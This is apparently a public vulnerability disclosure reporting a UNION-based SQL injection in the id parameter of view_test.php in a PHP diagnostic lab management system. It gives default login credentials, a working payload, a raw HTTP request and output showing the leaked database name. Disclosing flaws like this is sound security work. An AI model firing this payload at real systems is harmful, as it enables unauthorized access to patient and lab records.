

main

...

bug_report / vendors / oretnom23 / online-diagnostic-lab-management-system / SQLi-1.md



zys20201225 Create SQLi-1.md

History

1 contributor

33 lines (22 sloc) | 1.19 KB

...

Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Zhangyushi

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/tests/view_test.php?id=

Vulnerability location: /odlms/admin/tests/view_test.php?id=id

dbname=odlms_db,length=8

[+] Payload: /odlms/admin/tests/view_test.php?

id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /odlms/admin/tests/view_test.php?id=-1%27%20union%20select%201,database(),3,4,5,
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRY

Load URL

Split URL

Execute

http://192.168.1.88/odlms/admin/tests/view_test.php?id=-1' union select 1,database(),3,4,5,6,7,8--+|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Test Name
odlms_db
Cost
4.00
Status
Description
3
Close